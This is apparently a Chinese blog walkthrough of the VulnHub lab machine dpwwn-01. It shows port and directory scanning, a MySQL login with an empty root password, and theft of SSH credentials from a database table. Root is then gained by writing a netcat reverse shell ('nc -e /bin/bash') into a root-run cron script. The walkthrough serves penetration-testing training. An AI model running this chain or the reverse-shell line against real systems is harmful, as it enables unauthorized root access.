靶机dpwwn-01

靶机下载地址https://download.vulnhub.com/dpwwn/dpwwn-01.zip

++信息收集++

扫描靶机的IP地址

arp-scan -l

获得靶机的IP地址:192.168.200.130

查看靶机的服务类型,端口信息

nmap -sS -sV -T4 -A -p- 192.168.200.130

开启了22(ssh)、80(web服务)、3306(mysql)端口

如果有web服务,就枚举web服务开启的端口和浏览器访问

dirb http://192.168.200.130:web服务的端口

浏览器访问192.168.200.130

192.168.200.130

没有内容--只能枚举了

枚举目录

方法一:dirb http://192.168.200.130

复制代码
http://192.168.200.130/cgi-bin/
http://192.168.200.130/info.php

方法二:gobuster dir -u http://192.168.200.130 -w /usr/share/wordlists/SecLists/Discovery/WebContent/big.txt -x .php,.txt,.html,.zip

(没有SecLists就上github搜索下载--第一个下载量最多的)

++漏洞利用++

浏览器访问枚举的获得的URL

http://192.168.200.130/info.php

不出意外只有它能访问(继续枚举子目录也没有东西),很经典的php网页

得到内容:

基本没有

登陆mysql

mysql -h 192.168.200.130 -u root -p

空密码--直接回车

漏洞:mysql空密码

查看数据库:

show databases;

复制代码
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| ssh                |
+--------------------+

use ssh;

show tablses;

复制代码
MariaDB [ssh]> show tables;
+---------------+
| Tables_in_ssh |
+---------------+
| users         |
+---------------+

select * from users;

得到了登陆ssh的账号和密码

复制代码
MariaDB [ssh]> select * from user;
ERROR 1146 (42S02): Table 'ssh.user' doesn't exist
MariaDB [ssh]> select * from users;
+----+----------+---------------------+
| id | username | password            |
+----+----------+---------------------+
|  1 | mistic   | testP@$$swordmistic |
+----+----------+---------------------+
1 row in set (0.011 sec)

访问SSH

ssh mistic@192.168.200.130

密码:testP@$$swordmistic

复制代码
┌──(root㉿kali)-[~]
└─# ssh mistic@192.168.200.130
The authenticity of host '192.168.200.130 (192.168.200.130)' can't be established.
ED25519 key fingerprint is SHA256:gk40nSGfkMrCYAeMyL2l9aCwV/VL5i5mWKrFfowOfH0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.200.130' (ED25519) to the list of known hosts.
mistic@192.168.200.130's password: 
Last login: Thu Aug  1 14:41:37 2019 from 192.168.30.145
id
[mistic@dpwwn-01 ~]$ id
uid=1000(mistic) gid=1000(mistic) groups=1000(mistic) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[mistic@dpwwn-01 ~]$ whoami
mistic
[mistic@dpwwn-01 ~]$ pwd
/home/mistic
[mistic@dpwwn-01 ~]$ 

++权限提升++

查看特殊权限位:

find / -perm -u=s type f 2>/dev/null

复制代码
find /:从根目录 / 开始查找。
-perm -u=s:查找具有 SUID 权限的文件。SUID 是一种特殊权限,它允许用户以文件所有者的权限执行该文件。通常,它用于程序,让普通用户能够执行需要超级用户权限的操作。例如,/usr/bin/passwd 允许普通用户修改自己的密码,但以 root 权限运行。
-type f:仅查找普通文件,忽略目录或其他类型的文件。
2>/dev/null:将标准错误(例如权限不足的错误)输出重定向到 /dev/null,这样不会在终端显示错误信息

[mistic@dpwwn-01 ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

这里发现了/use/bin/crontab 定时计划

cat /etc/crontab

复制代码
[mistic@dpwwn-01 ~]$ cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

*/3 *  * * *  root  /home/mistic/logrot.sh

得到内容,每三分钟就要执行一次/home/mistic/logrot.sh文件

直接利用这个脚本获取root权限的shell

增加反向shell的脚本

echo "nc -e /bin/bash 192.168.200.130 4444" > logrot.sh (这里192.168.200.130是kali Linux的IP地址)

复制代码
echo:用于将指定的文本输出到标准输出,或者在这个命令中,将其重定向到文件中。

"nc -e /bin/bash 192.168.200.130 4444":这是一个使用 nc (Netcat) 命令的字符串。这个命令的含义是:

nc:Netcat 工具,它可以用来在网络上创建连接。
-e /bin/bash:-e 选项使得 Netcat 在建立连接后执行指定的程序,/bin/bash 是 bash shell,这意味着当连接建立时,Netcat 将会启动一个 Bash shell,并通过网络将其连接到远程主机。
192.168.200.130 4444:Netcat 将连接到 192.168.200.130 这个 IP 地址,并通过端口 4444 进行通信。

cat /home/mistic/logrot.sh

复制代码
[mistic@dpwwn-01 ~]$ cat /home/mistic/logrot.sh 
nc -e /bin/bash 192.168.200.130 4444

开启监听

nc -lvp 4444

复制代码
nc:这是 Netcat 工具,常用来进行网络通信。它既可以作为客户端连接到远程主机,也可以作为服务器监听端口接收连接。
-l:表示监听模式。让 Netcat 处于服务器端模式,等待进入的连接。
-v:表示"详细模式"(verbose),启用后,Netcat 会输出更多的调试信息,如连接的 IP 地址和端口等。
-p 4444:表示指定要监听的端口号,在这个例子中是 4444。Netcat 会在本地机器的端口 4444 上监听连接。

获取flag

复制代码
┌──(root㉿kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
192.168.200.128: inverse host lookup failed: Unknown host
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.128] 36286
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
whoami
root
uname -a
Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686 i686 i386 GNU/Linux
pwd
/root
cd /root
ls
anaconda-ks.cfg
dpwwn-01-FLAG.txt

cat dpwwn-01-FLAG.txt

复制代码
cat dpwwn-01-FLAG.txt

Congratulation! I knew you can pwn it as this very easy challenge. 

Thank you. 


64445777
6e643634 
37303737 
37373665 
36347077 
776e6450 
4077246e
33373336 
36359090
相关推荐
持敬chijing19 小时前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos
Chengbei1121 小时前
红队新工具 ToShell 解析:自带 Web 控制台,AES+SM4 国密加密,载荷随机免杀,自主 Agent 自动完成渗透任务
人工智能·tcp/ip·安全·web安全·http·网络安全·系统安全
lisw0521 小时前
代理型人工智能与网络安全:目前的进展状况
人工智能·安全·web安全
白猫不黑1 天前
大学网安方向学习路线:零基础与有基础的学习顺序整理
学习·web安全·计算机·网络安全·信息安全·编程·src漏洞
fangjianj1 天前
windows环境反弹shell
linux·windows·web安全
三8442 天前
PHP Session 反序列化:防御加固、审计套路与总结
web安全·php·安全加固·session反序列化
Bruce_Liuxiaowei2 天前
数字签名与“公钥制作者之谜“:信任从何而来
网络·安全·web安全
明航咨询-陈老师2 天前
信息安全服务资质扫盲:CNITSEC 与 CCRC,两套国字号资质的完整对比(技术向)
网络·安全·web安全
三8442 天前
PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入
android·web安全·php·反序列化·session
祁白_3 天前
防御引擎绕过方法
笔记·web安全·php·防御引擎